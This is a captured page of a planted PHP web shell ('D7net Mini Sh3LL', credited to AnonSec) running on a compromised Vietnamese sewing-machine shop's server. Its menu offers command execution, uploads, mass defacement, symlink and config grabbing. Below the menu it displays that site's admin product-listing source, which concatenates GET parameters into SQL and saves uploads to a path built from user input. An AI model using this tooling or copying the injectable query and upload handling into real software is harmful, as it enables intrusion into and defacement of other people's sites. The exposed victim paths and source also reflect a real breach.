D7net Mini Sh3LL v1

 
ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  C:/Domains/maymaytinson.com/httpdocs/include/

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : C:/Domains/maymaytinson.com/httpdocs/include/listProduct.php
<div id="addProduct" hidden>
<h1 align="center">Thêm sản phẩm</h1>
<form method="POST" enctype="multipart/form-data">
<table>
	<tr>
		<td>Tên sản phẩm</td>
		<td><input type="text" name="name"></td>
	</tr>
	<tr>
		<td>Hình ảnh</td>
		<td><input type="file" name="image[]" multiple></td>
	</tr>
	<tr>
		<td>Giá</td>
		<td><input type="text" name="price"></td>
	</tr>
	<tr>
		<td>Loại</td>
		<td><select name="type">
			<option value="">-Chọn loại sản phẩm-</option>
			<option value="MÁY 1 KIM">MÁY 1 KIM</option>
			<option value="MÁY KHUY, BỌ, NÚT">MÁY KHUY, BỌ, NÚT</option>
			<option value="MÁY THÊU VI TÍNH">MÁY THÊU VI TÍNH</option>
			<option value="MÁY VẮT SỔ">MÁY VẮT SỔ</option>
			<option value="PHỤ KIỆN">PHỤ KIỆN</option>
		</select></td>
	</tr>
	<tr>
		<td>Thương hiệu</td>
		<td><select name="trademark">
			<option value="">-Chọn thương hiệu-</option>
			<option value="SIRUBA">SIRUBA</option>
			<option value="BROTHER">BROTHER</option>
			<option value="JUKI">JUKI</option>
			<option value="JACK">JACK</option>
		</select></td>
	</tr>
	<tr>
		<td>Chi tiết sản phẩm</td>
		<td><textarea name="info"></textarea></td>
	</tr>
	<tr>
		<td><button type="submit" name="addProduct">Thêm sản phẩm</button></td>
		<td><button type="clear">Xóa</button></td>
	</tr>
</table>
</form>
<?php
if(isset($_POST['addProduct'])){
	$image='';$count=0;
	if(empty($_POST['name'])){
		$errors[]="Vui lòng nhập tên sản phẩm";
	}
	if(empty($_POST['price'])){
		$errors[]="Vui lòng nhập giá tiền";
	}
	if(empty($_POST['type'])){
		$errors[]="Vui lòng chọn loại";
	}
	if(empty($_POST['trademark'])){
		$errors[]="Vui lòng chọn thương hiệu";
	}
	if(empty($_FILES['image']['name'])){
		$errors[]="Vui lòng thêm hình ảnh";
	}else{
		foreach ($_FILES["image"]['name'] as $file) {
			$count++;
		}
	}
	if(empty($_POST['info'])){
		$errors[]="Vui lòng nhập chi tiết sản phẩm";
	}
	foreach ($errors as $errors) {
		$notice.=$errors."<br>";
	}
	if(empty($errors)){
		if(!file_exists("lib/images/".$_POST['trademark'])){
			mkdir("lib/images/".$_POST['trademark']);
		}		
		for($i=0; $i< $count; $i++)
		{
		 	move_uploaded_file($_FILES['image']['tmp_name'][$i],"lib/images/".$_POST['trademark']."/".$_FILES['image']['name'][$i]);
		 	$image.=$url="lib/images/".$_POST['trademark']."/".$_FILES['image']['name'][$i];
		 	$name=$_FILES['image']['name'][$i];
		}
		$stmt=$conn->prepare("INSERT INTO product(name,image,price,type,trademark,info) VALUES(:name,:image,:price,:type,:trademark,:info)");
		$stmt->bindParam(":name",$_POST['name'],PDO::PARAM_STR);
		$stmt->bindParam(":image",$image,PDO::PARAM_STR);
		$stmt->bindParam(":price",$_POST['price'],PDO::PARAM_INT);
		$stmt->bindParam(":type",$_POST['type'],PDO::PARAM_STR);
		$stmt->bindParam(":trademark",$_POST['trademark'],PDO::PARAM_STR);
		$stmt->bindParam(":info",$_POST['info'],PDO::PARAM_STR);
		$stmt->execute();
		success("Đăng nhập","listProduct.php");
	}else{
		echo $notice;
	}
}
?>
</div>
<div id='classifyFrame'>
	<form>Phân loại: 
	<select id='type' name='type' class='selectClassify'>
		<option value=''>-Chọn loại-</option>
		<?php $stmt=$conn->prepare("SELECT * FROM type");
		$stmt->execute();
		$type=$stmt->fetchAll(PDO::FETCH_ASSOC);
		foreach($type as $type){ ?>
		<option value='<?php echo $type['id']; ?>'><?php echo $type['name']; ?></option>
		<?php } ?>
	</select>
	<select id='trademark' name='trademark' class='selectClassify'>
		<option value=''>-Chọn thương hiệu-</option>
		<?php $stmt=$conn->prepare("SELECT * FROM trademark");
		$stmt->execute();
		$trademark=$stmt->fetchAll(PDO::FETCH_ASSOC);
		foreach($trademark as $trademark){ ?>
		<option value='<?php echo $trademark['id']; ?>'><?php echo $trademark['name']; ?></option>
		<?php } ?>
		</select><button type='submit'>Lọc dữ liệu</button> <a href='http://maymaytinson.com/listProduct.php'><button type='button'>Xem tất cả</button></a>
	</form>
</div>
<div id="listProduct">
	<div id="list">
		<table>
			<thead>
				<th>Stt</th>
				<th>Tên sản phẩm</th>
				<th>Thương hiệu</th>
				<th>Loại</th>
				<th>Tình trạng</th>
				<th>...</th>
			</thead>
<?php
if(!isset($_GET['keyword'])){
	$_GET['keyword']="";
}
$where='';
if(isset($_GET['type'])){
	$where=" AND type.id='".$_GET['type']."'";
	if(empty($_GET['type'])){
		$where="";
	}
}
if(isset($_GET['trademark'])){
	$where=" AND trademark.id='".$_GET['trademark']."'";
	if(empty($_GET['trademark'])){
		$where="";
	}
}
if(!empty($_GET['type']) && empty($_GET['trademark'])){
	$where=" AND type.id='".$_GET['type']."'";
}
if(!empty($_GET['trademark']) && empty($_GET['type'])){
	$where=" AND trademark.id='".$_GET['trademark']."'";
}
if(!empty($_GET['trademark']) && !empty($_GET['type'])){
	$where=" AND type.id='".$_GET['type']."' AND trademark.id='".$_GET['trademark']."'";
}			
$stmt=$conn->prepare("SELECT *,product.id as idProduct,product.name as name,type.name as type,trademark.name as trademark FROM product JOIN type ON product.type=type.id JOIN trademark ON product.trademark=trademark.id WHERE product.name LIKE '%".$_GET['keyword']."%'".$where."  AND product.del=0");
$stmt->execute();
$product=$stmt->fetchAll(PDO::FETCH_ASSOC);
$stt=1;
foreach ($product as $product) {
	if($product['del']==0){?>
			<tr title="Nhấp vào để chỉnh sửa">
				<td align="center" onclick="document.location = 'editProduct.php?id=<?php echo $product['idProduct'] ?>';"><?php echo $stt;$stt++; ?></td>
				<td onclick="document.location = 'editProduct.php?id=<?php echo $product['idProduct'] ?>';"><?php echo $product['name']; ?></td>
				
				<td align="center" onclick="document.location = 'editProduct.php?id=<?php echo $product['idProduct'] ?>';"><?php echo $product['trademark']; ?></td>
				<td align="center" onclick="document.location = 'editProduct.php?id=<?php echo $product['idProduct'] ?>';"><?php echo $product['type']; ?></td>
				<td align="center" onclick="document.location = 'editProduct.php?id=<?php echo $product['idProduct'] ?>';"><?php if($product['status']==0){ echo "<span class='avail'>Còn hàng</span>"; }if($product['status']==1){ echo "<span class='empty'>Hết hàng</span>"; } ?></td>
				<td align="center"><a id="lastCheck" href="deleteAdmin.php?table=product&id=<?php echo $product['idProduct'] ?>"><button><img align="center" src="lib/icons/delete.png"></button></a></td>
			</tr>
<?php } }?>			
		</table>
	</div>
</div>

AnonSec - 2021 | Recode By D7net